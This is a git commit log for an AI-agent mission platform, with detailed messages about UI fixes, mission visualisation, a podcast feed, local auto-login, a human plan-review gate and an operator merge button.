1678452a93aa9a306da23638c22b98b41d52139f
312
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
f26de3ba76 |
feat(world): the agent page can answer what an agent DID, not only what it is doing
The command centre's metric band reads a live feed: tokens in the last minute,
credits in the last hour, active routines, pending approvals. Every one of those
is correctly zero once a mission ends — so an operator opening an agent that ran
`JEPA Research` was shown six zeros, with nothing saying the page had understood
a different question than the one they asked.
The data was never missing. `usage_events` carries a row per turn and
`mission_events` carries every attributed tool call. Verified against production
before any of this was written:
Tomasz 21,697 tokens 22.00 credits 96 tool calls
Seong-min 18,125 19.00 49
Adrian 13,855 14.00 32
Yara 9,686 11.00 11
Wei 7,228 8.00 18
Osei 4,304 5.00 5
The tool counts sum to 211, which is exactly what `mission_events` holds. The
page simply never asked.
`agent.last_run` is a SEPARATE taxonomy event, not a fallback folded into
`telemetry`, and that is the whole design. `agent.task.update` already refuses to
emit for a finished mission so that "idle" stays truthful; quietly substituting
a two-day-old number into a tile the UI promises is live would undo exactly
that. The two travel apart and the card says which it is showing:
SPEND last-run credits, unit becomes `cr total`, tagged LAST RUN
THROUGHPUT last-run tokens, unit becomes `tokens · last run`, and the
sparkline is SUPPRESSED — a flat line drawn from one repeated
number reads as "measured and steady" when nothing was measured
WORKING ON idle stays idle, but names the mission, tool calls, tokens,
NOW status and how long ago, instead of one line of nothing
LOOPS/DOORS left live; zero is the correct answer there
Live always wins. History appears only where the live value is genuinely
nothing, so an agent mid-turn can never see a stale figure.
Two details that would have been silent bugs:
- `stateKey` keys the retained value per AGENT. One shared key would let the
last agent in the roster overwrite every other agent's summary, and a late
subscriber would paint one agent's last run onto all of them — plausible
numbers belonging to someone else.
- `usage_events` carries no mission id, so its rows are attributed by the
mission's time window. `mission_events` needs no such guess, which is why the
tool count is the trustworthy half of the row and the token figure is the
approximate one. Said so in the doc comment rather than implying both are
equally solid.
Refreshed on the seed and then once a minute, not on the 2s poll: historical by
definition, but not seed-only either, or a mission finishing mid-session leaves
the card reading whatever it read before.
Suite: 108 binaries, 842 Rust tests, 92 frontend tests, tsc clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
|
5c2c63f8e8 |
feat(missions): a human can finally reach the plan/roster review gate
Phase 4 of the plan, plus the PLAN_COMPLETE decision and the gitea_forge
cleanup from Phase 5.
THE REVIEW UI
mission_plan and mission_roster have been complete and reachable by curl
since they shipped, with zero frontend. That matters more than a missing
screen usually would: the decide step is not a convenience, it IS the
safety mechanism. Approving a plan replaces the mission's phases; approving
a roster flips it to the composed engine. A gate nobody can reach is a gate
that is always open or always shut.
MissionProposalDrawer, modelled on LevelUpDrawer which already does
load → review → decide. Reached from a mission's SETUP tab. Verified end to
end against the live backend, not just compiled: a model proposed a roster,
approval flipped the mission to `composed`, and approval on a non-draft
mission was refused.
The plan view shows each phase's done_when, and says plainly when one is
absent — a phase without a completion condition is never judged and reports
completed whatever it did, so its absence is the thing worth seeing.
AND THE DEFECT BUILDING IT FOUND
Every refusal path computed a precise reason — "the mission is running, not
a draft", "no node can boot that backend any more" — logged it to stderr,
and returned a bare {"error":"bad request"}. The person who needed the
sentence was the one clicking Approve; they got two words, and the reason
went to a server log they cannot read.
ApiError::Refused(String) carries it now. Same argument ApiError::Unavailable
was added for ("a 500 with 'internal error' sent them looking for a bug that
was not there"), one status code down. Live: the 400 now reads "this mission
is completed — a roster can only be approved while it is a draft, because
approving one rewrites how the mission will run".
PLAN_COMPLETE, decided
The Skill-Use measurement found that int-xx-marker-protocol documents
PLAN_COMPLETE and task_card_parser never implemented it, so an agent
following the skill exactly was silently ignored. Implemented rather than
removed from the skill: the planner needs a way to say it is done
specifying, and agents already emit it.
Marker ids are now strictly INT-<digits>. `starts_with("INT-")` accepted the
range form `INT-01..02` — observed live — which parsed into an id matching
no real item, so a task card appeared for something that did not exist while
the two items it covered stayed open. Rejecting is right: an ignored marker
is visible, a plausible row is not.
GITEA_FORGE, REMOVED
Named in nine places, defined in none. Harmless while provision_claw ignored
the bundle list; once the list was honoured, an undefined name became a
capability an agent is told it has and does not. Removed from seven team
templates, a workflow recipe, the auto-provision path, and a dropdown a user
could pick it from.
A new test asserts every bundle a template names is defined in the runtime
config — and it immediately found `web_fetch` in two templates I had missed
removing by hand. Same shape as the skill-binding test, one layer up.
Agents reach the forge through git over HTTPS with the ambient GITEA_TOKEN,
which is why nothing ever broke.
Full workspace suite green (106 binaries); frontend builds clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
ba98c29481 |
fix(podcast): the left rail showed the workforce, not the episodes
The PODCAST tier had no branch in the left column, so it fell through to the default — the org/company/team roster. Opening the podcast page showed a list of agents, which is the one thing on that screen that has nothing to do with it. `PodcastList` now fills the rail with one card per episode (date, title, duration, size), the same shape `MissionsList` and `RepoList` give their tiers: objects in the rail, the selected one in the canvas. It selects the newest on first load so the canvas is never blank, and refreshes on the render sweep's own two-minute cadence so a new episode appears without a reload. `PodcastPanel` loses the duplicated list and becomes what a canvas should be: how to subscribe, and the selected episode with a player. The empty state points at the Continuous Research mission that produces one rather than just saying there is nothing. Verified on the served page: PODCAST renders between AGENT and REPOS. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
fe45f72f09 |
feat(podcast): a PODCAST tier, a topics field, and a feed a phone can actually reach
Three gaps between "the pipeline works" and "you can use it".
**1. Topics could not be set.** The wizard never sent `config.topics`, so every
mission created through the UI silently fell back to
`library::default_topics()` — a hardcoded list that is somebody else's research
interests. The card now takes one arXiv search per line, and the description
field says plainly that for this template it IS the brief the agents judge
relevance against.
**2. There was nowhere to see or subscribe.** New PODCAST tier in the left rail,
between AGENT and REPOS: the feed URL with a copy button, the episode list, and
an inline player for checking one at a desk. `GET /api/podcast/episodes` and
`/subscription` back it. The panel also reports how many missions produced no
audio, so a missing day reads as a known gap rather than silence.
**3. The feed 404'd for the only client that will ever request it.** Three
layers each assumed a browser:
- `resolveBearer` is server-only (`next/headers`), so a client component that
imported it broke the build outright. The panel now goes through the
same-origin proxy like every other panel, and the backend mints the feed URL
because the session lives in an httpOnly cookie JavaScript cannot read.
- The `/api` proxy demanded a session COOKIE. A podcast app has none and
carries `?token=` instead — the same shape as the existing `hooks/` prefix,
which is already exempt for exactly this reason.
- The local autologin middleware 307'd it to `/auth/autologin`. A podcast app
follows redirects blindly and would have stored an HTML page as the episode.
Neither exemption weakens auth: the backend still validates the token and
answers 401 to a bad one, verified. `episode_audio` accepts the token from
either the query string or an Authorization header, because the app fetches it
one way and the browser player the other, and refusing either breaks one of the
two ways this is listened to.
`CLAWMATES_PUBLIC_URL` matters and was wrong first: the tailnet root proxies to
a different service on :18789, and this frontend is on :8443. A feed advertising
an unreachable origin syncs silently forever, so `/subscription` returns a
`reachable` flag and the panel warns when it is still localhost.
Verified from a phone's point of view: feed 200 application/rss+xml over the
tailnet, enclosure 200 with 6,739,582 bytes of audio at 421s, bad token 401.
367 tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
022ef98e44 |
feat(auth): opt-in local auto-login for single-user deployments
Skips the login form and lands on the dashboard. It performs a REAL backend login — the API still issues and can revoke the session — so this does not weaken auth; it only removes a form for a deployment with exactly one operator. Gated on BOTH LOCAL_AUTOLOGIN_EMAIL and LOCAL_AUTOLOGIN_PASSWORD, and refuses outright in clerk mode. Prod sets neither, so the route 404s there. Two conditions rather than one flag: a single misread value should not be able to hand a session to an anonymous visitor. The route emits a RELATIVE Location — inside the container request.url is the 0.0.0.0:3000 bind, so NextResponse.redirect would send the browser to a host that only exists in Docker — and the cookie's secure flag keys on x-forwarded-proto rather than NODE_ENV. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
7cf77a9248 |
feat(ui): level up moves to the agents sidebar; repos open collapsed
Level up now sits at the bottom of the Agents sidebar, labelled with the selected agent's name, and renders only once an agent is selected — it is hidden during select mode so the reap bar stays the single footer action there. It is gone from the ClawCommandCenter header. Repos open with every org folded. Rather than seeding a "collapsed" set with all keys on load, the state tracks EXPANDED: a smaller change that also stays correct for orgs that arrive later from a sync, which a seeded set would render open. With 182 repos across 8 orgs, an all-expanded default buried the org names the list is meant to be navigated by. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
5db695460f |
fix(missions-ui): the results area could not scroll at all
The canvas host is a position:relative BLOCK, so flex:1 on MissionCanvas's root was inert and its height collapsed to its content. That starved the scroller beneath it — scrollHeight === clientHeight — so it never scrolled, and the overflow spilled past the page and was clipped by the host's overflow:hidden. Long results were rendered and then thrown away. Every sibling canvas already used position:absolute; inset:0; missions was the only one that did not. Measured after, on a brief 5x the viewport: one scroller, clientH 736 vs scrollH 3244, scrolling 0 -> 2508 (exactly scrollH - clientH, i.e. the true bottom), zero page overflow, tab strip pinned throughout. Also removed five nested scrollers (70vh on live events; maxHeight caps on run streams, phase summaries, artifact bodies and error traces). Those existed only to work around the missing height and would have become portholes onto the very content the operator is trying to read. The xterm pane keeps its bounded box — FitAddon needs one, and a terminal owning its scrollback is correct. Deleting the header's description peek reclaims 104px for results (header 256 -> 152px); the same text renders in full in Setup -> Overview, as the code's own comment noted. Streaming now follows only when already at the bottom, via a shared useStickToBottom hook replacing two byte-identical copies, plus a "jump to latest" pill neither had. Defaults collapse by mission state, and a remount key fixes scrollTop leaking between tabs — a bug that only appears once scrolling works. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
c59cd9c424 |
feat(viz): the World draws missions, never the org chart
The World seeded the Organization → Company → Team → Agent tree whenever no mission was pinned — "My Workspace → General → Everyone". That tree describes almost nothing: `agents` has no org, company or team column, real membership is the `team_members` join, and four of its containers are fabricated in the browser and exist in no table. Worse, it did not replace the mission view, it SHARED the canvas with it. The plan events are only filtered by id when a mission is pinned, so with nothing pinned a live mission was drawn on top of the org chart: two unrelated graphs, both parented at the invisible root, reading as one scene in which they somehow connected. They never did — there is no edge between them because there is no relationship in the data to draw. The World now shows exactly one mission, or none. Three parts: - the org tree is gone from the canvas seed, and `worldCanvasRoots`, `narrowRoots` and `stripSynthetics` with it. The sidebar keeps its synthetic containers so orphaned agents still have a visible home. - the default focus prefers a RUNNING mission over the newest one. Newest-first picked whatever was created last, which on a workspace with history is a finished mission — so starting a run left the World looking at an old static map while the new work went unwatched. - exactly one mission is focused whenever there is any, which is load-bearing rather than cosmetic: the plan channel keeps ONE `planRef`, so two missions on the wire overwrite each other's title and phases and the scene becomes a blend of two runs that never happened. Seeding "all missions" was the tempting middle ground and is wrong twice: /api/workforce returns every mission ever with no limit, which puts hundreds of agents back on one canvas, and the plan channel cannot hold more than one anyway. An empty stage now says so. Blank canvas and broken page look identical, and filling that silence with a hierarchy that meant nothing is how this started. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
f8438c32ea |
feat(viz): kind-specific choreography and a finished mission you can read
Security: the pawns already orbited their destination, so homing them at
the security station gave circling for free. This adds the radial
press-and-retreat — an agent closing on the target and backing off reads
as probing it, where a fixed radius reads as waiting — and holds the
stochastic target release while probing, or the circling breaks up into
stray trips that look like distraction rather than a scan.
Findings are `mission_tasks` rows, one orb each, popped once. There is
deliberately no severity anywhere in the path: the scanner keeps
severity, file and line as substrings inside `title`, so a severity
parsed out of prose and rendered as an orb's RADIUS would be the picture
asserting a measurement the data never contained. Count only.
Benchmarks annotate the station, as text. `delta` has no schema —
compute_delta emits `{kind:"opaque"}` whenever the before/after metrics
were not structurally comparable, which is most drivers. The server
formats the shape it can parse and COUNTS the rest; an unparseable driver
reports "3 sample(s)" rather than an invented improvement, and an opaque
delta says nothing at all.
The finished map: the live label rule gates service/event nodes on
`heat > 0.12`, which is exactly backwards once everything has cooled — a
static map would be unlabelled dots. Frozen, the 25 most-touched nodes
label regardless of heat, phase stations carry a second line counting
what they produced, and the camera is released ONCE so it frames the
result even if the user panned during the run.
Every count in a caption is read off the drawn scene rather than a
parallel tally, so the words and the picture cannot disagree.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
c2fa8067e1 |
feat(viz): the coding station fractures into the files it worked on
The engine already turned `file:src/lib/a.ts` into a real dir chain, but both copies of that loop rooted it at the origin — so a mission's files floated beside the map instead of belonging to the work that produced them. One `fileParent` helper now serves both call sites; splitting them was how half the files could end up nesting correctly and half not, decided by whichever code path saw the file first. Files hang under the coding station when there is exactly one, else the single running phase, else the origin. `world.touch` carries no phase id, so with two coding phases any attribution is invented — the fallback is the honest answer. Two ordering hazards, both silent: - the server emitted files BEFORE phases, so on the first pass a file arrived with no station to hang under and first-write-wins pinned its tree at the origin. Loops reordered, with a source-walk guard. - `setFileHome` re-parents trees rooted before the plan landed, for the reconnect case the ordering alone cannot cover. `mission.file` with `source: "tool"` is treated as motion (burst, pawn beams); `"diff"` is end-of-phase truth and only marks the file present and warm — bursting every file of a captured diff would set the whole map alight at once on reconnect. Directories taper in radius and opacity by path depth, so `src` and `src/lib/live` no longer render as identical dots. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
f37c6b92d8 |
feat(viz): a station shows whether it is pending, working, or done
Three independent questions get three independent channels, because encoding them all as brightness makes "not started" and "finished" identical: stateAlpha presence — a pending station is faint; it has not happened yet heatFloor life — a running station stays lit between events settledColor settlement — a terminal station wears a ring (green/red/grey) heatFloor is one line in the decay (`max(floor, heat - dt*0.5)`) and it lights the whole existing treatment, since emissive, radius, glow and sparks are all already heat-driven. The ring is the only new primitive and it earns its place. The part that matters most is the staleness decay. A phase is drawn lit because `mission_phases.status` says `running` — and that column keeps saying `running` long after the agents behind it have died. Drawing that confidently lit is the exact failure this codebase keeps hitting: something that looks alive because a status field says so. After 90s with no real event landing on the station, its floor sinks to a dim ember and the HUD counts it as "quiet", so a busy station and an abandoned one cannot look the same. That is also why `applyMissionPlan` only sets a running phase's floor ONCE, on first sight. Re-applying it on every plan refresh would relight a dead station every few seconds — the poll would silently undo the decay. Rings are removed as well as added: status moves backwards when a phase re-enters `running` on a retry, and they are swept with the mesh they orbit or they leak one per phase and keep drawing at a stale position. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
006432c2dc |
feat(viz): the mission becomes a map — centre, stations, and agents at theirs
The clump was structural, not cosmetic. Four causes, each fixed here. `homes` (an agent's resting node) was written only by `seed()`, so every agent homed to the mission centre and orbited the same dot regardless of which phase it was on. `setHome` points each agent at its CURRENT phase, and the existing physics does the rest for free: the pawn rests at its station, the pawn→home line tethers it there, and a touch becomes a visible departure and return. No new motion code. The mission node was seeded as `level: "team"` (my own bug from the focus work). `seed()` casts that straight to a Tier and `ensureNode` is first-write-wins, so it was created as a small teal team dot that the later `node.activity` could never upgrade. That dot at the centre of the scene was one line. `mission`/`phase` replace the retired `repo`/`loop` tiers rather than adding a parallel set. The backend stopped emitting repo:/loop: ids, which left their whole landmark treatment — bigger radius, distinct colour, always-labelled, 60s fade instead of 22s — orphaned on prefixes nothing sends. Missions and phases need exactly that treatment. The two separately-written prefix→tier ternaries in onTouch and onNodeActivity are now one `tierFor`: they agreed only by luck, and whichever path saw a node first fixed its tier forever. Phase stations spring out at 190 rather than the shared 64, or they pack into a rosette around the centre and the point — agents moving BETWEEN stations — is invisible. Idle roam is off under a mission scope: wandering to a random node keeps an idle workspace alive, but inside one mission it sends agents to files nobody opened, which reads as work and isn't. Palette is injected at construction and keyed on template_kind, so a benchmark run and a security sweep no longer render identically to a research mission. It also collapses two uncoordinated kind→colour maps that had drifted: LEVEL_COLOR by tier, and the fireColor if-chain by id prefix. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
5f85dbb718 |
fix(world): missions were never really on the wire
Three bugs in one query, each hiding the next, plus one that made the whole rich layer dead code. `active_missions` joined `team_members` on `missions.team_id` — the LEGACY pointer at the first minted team, superseded by the `mission_teams` junction in 0056. It was an INNER JOIN, and `mission_orchestrator::on_launch` deliberately mints no team for a microVM mission, so the platform's primary execution tier was dropped by a join and the World has been showing nothing at all for it. And it selected only `status='running'`, while missions finish in minutes, so the scene was empty almost always. Now: join `mission_teams`, LEFT so teamless missions survive (their `agent_id` is NULL and no pawn beams at them, which is the truth — nothing on this platform ran that phase except a VM), and include missions finished in the last 24h carrying `status`/`template_kind` so the client can draw a finished map instead of animating a corpse. `?mission=` scopes the feed server-side. The whole phase plan now ships as `mission.phase`, including phases that have not started: a phase list that appeared only as phases began made a five-phase mission look like a one-phase mission until it was nearly over. Attribution reuses `phase_runner::purposes_for` rather than copying it — two copies would let the picture disagree with the machine about who is working on what, which presents as a rendering bug and is really a lie. Deleted the checkpoint tail. It read `topology_runs` keyed by an `agent_runs` id; mission phases live in `topology_runs` under independently generated ids, so it ran every poll and matched nothing, for every mission, forever. That is why no mission has ever shown tool or file activity. Not repointed at `topology_runs`: its only per-step content is the agent's own prose, and a tool name in prose cannot be told from an agent talking about a tool. The a2a `run_events` tail is kept — it genuinely works for the path that writes it. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
b210acf3c2 |
feat(viz): pin the World to one mission by default
Two leftovers from the sidebar swap. The header still read "N ORGS · N AGENTS", describing the org->company->team forest this tier stopped rendering; it now counts the missions and the distinct people the sidebar actually lists. And with nothing selected the World still fell back to every agent of every mission in one space. That is not a picture of anything that happens — missions do not share a stage, and past a few dozen agents the scene says less the more it shows. It now pins to the most recent mission (the workforce feed is ordered newest-first) and stays on whatever mission is pinned when an agent is selected from the graph rather than from a mission group. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
44079eb8b4 |
feat(viz): the World shows one mission, not every mission at once
The visualization page carried the org -> company -> team -> agent forest in its sidebar — the hierarchy the agents page stopped rendering — so the two pages disagreed about the shape of the workspace, and there was no way to ask the World to show a single mission. Everything ran together in one clump. Same sidebar as the agents page now: My Workforce, missions under it, agents under those. Selecting a mission scopes the scene to that mission's crew. Scoping had to happen at the FEED, not the seed. `WorldEngine.ensurePawn` materialises a pawn for any agentId an event mentions, so seeding the engine with one crew would have left every other mission's agents streaming in anyway — the view would have looked filtered for a frame and then re-clumped. `focusAgents` gates every agent-bearing event, `focusMissionId` keeps other missions' landmark orbs out, and comm beams require BOTH ends in focus or a delegation would drag an outside agent onto the stage. The engine also re-seeds when the focus changes. It was seeded once on mount, which was right when the World only ever showed everything; now a stale engine would keep the previous mission's pawns on stage, and the feed filter cannot remove what is already there. Keyed on focusMissionId rather than on `roots` identity — `roots` is rebuilt every Dashboard render, so depending on it would throw the scene away continuously. The HUD says which mission is being shown when scoped. A filtered world and an idle world look identical otherwise, and that difference is the whole question a viewer is asking. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
0ad53da49c |
feat(workforce): missions group the roster, and agents get human names
Three things, all visible on the agents page.
**The roster looked like it was multiplying.** The sidebar flattened
orgs → companies → teams → agents, which renders a claw once per TEAM it
belongs to. Claws are reused across missions now, so a crew of five that had
run five missions appeared as twenty-five rows of the same five people. The
data was right and the view was lying. `GET /api/workforce` returns the roster
grouped by mission, and the tree renders each mission as a collapsible group,
so the repetition means something: the same colleague under each mission they
staffed. Claws on no mission come back under "Not on a mission" rather than
vanishing. The root now counts DISTINCT people, not rows.
**Agents were named after their jobs.** A team came back as planner, coder,
tester, reviewer, committer — the UI showed the same word twice (name on top,
role beneath) and the roster read as a stack of job tickets. New claws get a
given name from a deliberately wide pool (Amara, Vijay, Tomasz, Meredith…),
unique against the workspace roster AND within the team being minted. The role
is untouched in `job_title`, which is what the mission machinery binds on:
team_members.role_slot and the topology node carry the slot, so nothing
downstream keys off the display name. A reused claw keeps the name it had.
**Two latent reap bugs found while investigating a leak that was not one.**
Containers of completed missions are removed by `spawn_sweeper` after a
30-minute grace, and it works — an earlier report of leaking containers was me
reading that deliberate grace as a bug. But:
- the sweeper cleared the runtime binding even when teardown FAILED, and it
selects on `runtime_endpoint IS NOT NULL`. One transient docker error would
therefore hide a surviving container from the only thing that would retry
it, permanently. It now asks docker whether the container actually
survived: gone means clear, still there means keep the binding and retry —
which closes the orphan path without reintroducing the infinite retry the
original comment was guarding against.
- `set_runtime_binding` discarded rows_affected, so a mismatched workspace
updated nothing and returned Ok. The binding is how the sweeper finds a
container; a silent no-op there leaks one with no record of anything wrong.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
e417247e7e |
fix(ui): clicking "My Workforce" offered to rebuild the hierarchy it replaced
Clicking the root opened the orphan-migration dialog: "You have some entities that never got parented into a real org → company → team chain. Naming the three below will materialize the chain and move everything under it in one transaction." which is an offer to reconstruct exactly the structure that root exists to replace. `SYNTHETIC_TREE_IDS` was doing three jobs at once — "not a database row, so cannot be renamed or selected for reap" AND "is a placeholder for unparented entities, so clicking it offers the migration" — and adding `my-workforce` to it inherited the second along with the first. Split by what each set is FOR. `ORPHAN_CONTAINER_IDS` are the placeholders the migration applies to and the nodes the world visualisation strips; `SYNTHETIC_TREE_IDS` is that set plus the workforce root, and still guards rename and reap. Clicking the root now just toggles the branch, which the row handler in `StructureTree` was already doing before `onSelectNode` ran. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
895413509d |
feat(ui): My Workforce — one flat list of agents, and the "+" starts a mission
The sidebar showed Organization -> Company -> Team -> Agent. On this workspace that read "My Workspace -> General -> Everyone": three levels of placeholder wrapping five agents, with five orgs and three companies named "My Workspace", "General" and "Workplace" between them. None of it was load-bearing in the UI. `agents` has no org/company/team column at all — membership is only the `team_members` join, which the mission executor uses to map graph nodes to claws — and /orgs, /companies and /teams already redirect to the dashboard. The tree survived in exactly one place. So the tree is now a single "My Workforce" root with the agents directly under it, expanded by default: a workforce collapsed behind a disclosure is one the user has to discover they own. The World tier keeps the full forest, because that visualisation is ABOUT structure and flattening it would remove its subject. Nothing is deleted — the group pages and their APIs are untouched. Both "+" affordances now open the MISSION wizard. They opened the deploy wizard, while the copy beside them said "deploy wizard" and the tooltip said "Deploy a new agent" — none of which is what someone arriving at an empty workspace wants to do first. You get a workforce BY running missions. Hand-staffing one is a real thing to want, just not the first thing, so it is demoted to "or create an agent yourself" rather than removed. "Add a new agent, team, company, or organization" becomes "Create your agent workforce". Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
e4bddeb1ba |
feat(ui): three-screen mission wizard that asks only what the type needs
Five fixed steps for every mission type, and getting a research document out of it meant naming a team, choosing a runtime, and writing per-phase completion conditions under a paragraph explaining what a model checker can and cannot prove. Two of those steps asked for things the mission does not use, and one of them blocked outright. 1 What do you want to do? 2 Title, a description with a Polish button, repo ONLY if the type needs one 3 Review -> Launch, plus one collapsed Advanced section Two hard defects fixed on the way: - The microVM runtime could not be selected AT ALL. Step 4 gated Next on `targetNodeId`, which microVM deliberately never sets because placement picks the node per phase. Everything shipped today, the local-GPU backend included, was unreachable from the UI. - Step 3 required a team while every workflow TOML already names one in `default_team_template` — which this file ignored. The answer was always available and the question was always asked. It is now resolved by key, with a category fallback, and shown under Advanced so an operator can see WHICH default rather than having to supply one. A failed `/api/team-templates` request and a genuinely empty list rendered the identical red banner, which sends the reader looking for missing template files when the request had 401'd. They now say different things. `phases[]` is no longer sent unless someone set a completion condition. `recipeToPreset` strips each phase's `config`, so posting the stripped list overrode the recipe's real settings — tools, commit policy, loop mode — with nothing. Omitting it lets `phases_for_create` use the recipe, which is both simpler and more correct. Launch keeps its own gate, since Advanced can still produce an unlaunchable combination — but it names what is missing instead of greying out in silence. Artifacts get a Download link. Deliberately a plain link to the streaming route rather than a Blob built from what "Read" already fetched: that content is capped at 2 MiB and UTF-8-decoded, so reusing it would silently produce a truncated or undownloadable file for exactly the artifacts worth downloading. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
c66c3c6377 |
feat(ui): the microVM path is reachable from the mission wizard
Everything built today — Firecracker missions, the four backends, the local GPU one — was unreachable from the dashboard. The wizard offered `zeroclaw` and `local_herdr` and nothing else, so a mission created in the UI could not be a microVM mission at all, and `local-ornith`/`glm`/`kimi` were API-only. Testing "our workflows in the UI" would have exercised none of it. Adds the runtime option and a backend picker, fed by a new `GET /api/fleet/backends` that returns `mission_roster::available_backends` verbatim — the SAME list the roster planner is handed, not a second one. Its two rules are both load-bearing and neither is visible from a node's capabilities alone: the image must be built on an online node, and the backend must have a credential contract. `agent-terminal` passes the first and fails the second — bootable, with nothing for the agent inside to authenticate with — so offering it would produce a mission that validates, launches, and dies at the agent turn. Ids are deployment vocabulary, so the picker labels them: a user choosing between `local-ornith` and `canary-claude` should not have to know which company each one bills. An empty list says why (no rootfs built) instead of showing an empty dropdown, and no node is chosen for a microVM mission because `vm_placement` picks it per phase. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
3616bc4733 |
feat(missions): an operator button to merge a mission's branch into main
`MergePolicy::Never` — the default for anything touching code — has always meant
"do not merge on your own", deferring to a human. There was no way for that human
to say yes: `auto_merge` was reachable only from the paper-harvest path, no
workflow template declares `merge_policy`, and every mission ended at a branch.
`POST /api/missions/{id}/merge` is that yes, with a button on the artifacts tab.
The additive-only gate does NOT apply here, deliberately: an operator reading a
code change is exactly the judgement the policy was holding out for.
What is not waived:
- the branch comes from the artifact delivery RECORDED, not rebuilt from the
mission id, and must have `pushed: true`. A phase that never pushed shows no
button instead of one that cannot work.
- an empty branch is refused. A button reporting success for merging nothing
is worse than no button.
- a conflict refuses, aborts, and leaves the repo clean rather than forcing.
It works in a FRESH CLONE under `_merge/<mission>`, never the mission checkout:
that directory is reaped on a timer after a mission ends, so a merge using it
would succeed right after a run and fail inexplicably an hour later. The clone is
made by the server process, so nothing runs as root and ordinary cleanup works —
unlike the copies in `root_copy`.
`merge_and_push` is split out so the operator path and the automatic path run the
SAME git commands; only the gates differ. A test asserts both call it, that the
operator path does not re-apply the additive gate it exists to bypass, and that
it still refuses an empty branch.
Harness 43/43 across all five recipes before this change, with `_gate`, `_bench`
and `_verify` all at zero.
246 lib tests, 20 binaries, 89 frontend tests, clean build.
|
||
|
|
87f188ae73 |
refactor: strip Gemini from the platform, and level up the architecture_mapper
Two things.
1. The architecture_mapper proposal, applied AND made durable.
The GLM proposal (019fddd9) was accepted in full: the agent's system_prompt now
carries the Mermaid-first constraint and its brain was rewritten. Both verified
against the live row and the .h5 file.
But `apply_identity` writes `UPDATE agents SET system_prompt` and
`apply_brain_consolidation` writes that agent's brain — neither touches the team
TEMPLATE. That agent is mission-scoped, so the improvement would have died with
the mission. The model's actual insight was sharp and worth keeping: "Mermaid
diagrams beat prose" lived in the brain SEED and not in the system PROMPT, so it
only applied when the agent happened to consult its brain. That constraint is
now in templates/teams/codebase_research.toml, where every future Codebase
Research team inherits it.
(The proposal's second item mostly restated anti-patterns the seed already
lists, so the seed is unchanged. Applying an LLM's suggestion is not the same as
agreeing with all of it.)
2. Gemini is gone.
Removed: the `gemini.default` provider alias and its `is_exact_provider_match`
prefix, GEMINI_API_KEY forwarding to agent containers, the evaluator's
gemini->gemini family row, the model selectors in claws/teams/planner and in
TeamWizard + AgentComputer, and the commented provider block in the runtime
config example (whose ZEROCLAW_AGENT_MAP example still mapped a worker_gemini
that no longer existed).
`provider_alias_for("gemini")` now returns claude_cli.default via the
unrecognised-model branch, which LOGS. A stray gemini binding degrades visibly
rather than resolving to a provider row we no longer ship. A test pins that, and
another pins that GEMINI_API_KEY is forwarded in NEITHER auth mode, so adding it
back to the list is a visible change rather than an accident.
Avatar generation is DELETED, not disabled — it called Gemini's image model, and
there is no alternative: Claude and Kimi are text-only, and z.ai answers
"Unknown Model" for cogview-3-flash and cogview-4 on our plan (measured, not
assumed). AvatarModal keeps UPLOAD, which never needed a provider; only the
prompt-generation half is gone.
240 backend lib tests, 89 frontend tests, clean tsc + eslint, build succeeds.
|
||
|
|
821cbb8622 |
feat(missions): hold every producing phase to delivering, and read markdown instead of PDFs
Two changes the portal review asked for.
1. `benchmark` and `security_hardening` had no delivery guarantee.
`empty_delivery_is_a_failure` tested `kind == "coding"`, on the reasoning that
"research phases legitimately write nothing to the tree" — which the research
directive three modules over contradicts, since it tells the agent to save
findings under /mission/repo/research/. The cost: a `benchmark` mission is ONE
benchmark phase, and with that phase exempt nothing in the platform could fail
it. Same for `security_hardening`, whose first two phases are security_scan and
research.
Now keyed on PRODUCING_KINDS = coding, research, benchmark, security_scan.
`review` stays exempt — a reviewing phase that changes nothing has done its job,
the same distinction `vm_stop_gate::per_node` makes. The test that encoded the
old rule is rewritten rather than deleted, with the reasoning that replaced it.
All 8 harness fixtures are coding phases, so harness behaviour is unchanged.
2. PDFs are dropped; markdown is the deliverable.
Rendering a PDF meant asking an LLM to convert markdown to HTML — a paid API
call per document, on the critical path of "let me read my research", which
failed on depleted Gemini credits and left every artifact unreadable. Styling at
render time is free, offline, instant and cannot 429.
- `mission_outputs` no longer requests a render.
- New `GET /api/missions/{id}/artifacts/{artifact_id}/content`. The frontend had
no way to READ an artifact at all: it listed paths and offered a PDF preview
that never rendered (and whose `rendered_pdf_path` had no route serving it).
Two containment rules, both enforced: the artifact must belong to a mission in
the caller's workspace, and the CANONICALISED path must stay under `_outputs`
— canonicalise first, because checking the string before resolving `..` is the
classic hole.
- `MarkdownBlock` now uses react-markdown + remark-gfm + rehype-slug. It was a
deliberate zero-dep renderer for "the subset the refiner emits", and that
subset stopped matching reality: agent briefs are largely GFM pipe tables,
which it showed as literal pipes. MissionOutputReader and RefineDiffModal use
the same component and gain tables for free.
- Heading ids come from rehype-slug and `outlineOf` slugs with the same
GithubSlugger, so the outline rail's anchors still resolve. A test pins that
invariant, including duplicate headings.
Styles live in globals.css under `.md-view`: the markup is generated so there
are no class hooks, and this project has no styled-jsx registry — the app-router
requirement is documented in next/dist/docs/01-app/02-guides/css-in-js.md, which
frontend/AGENTS.md exists to make me read.
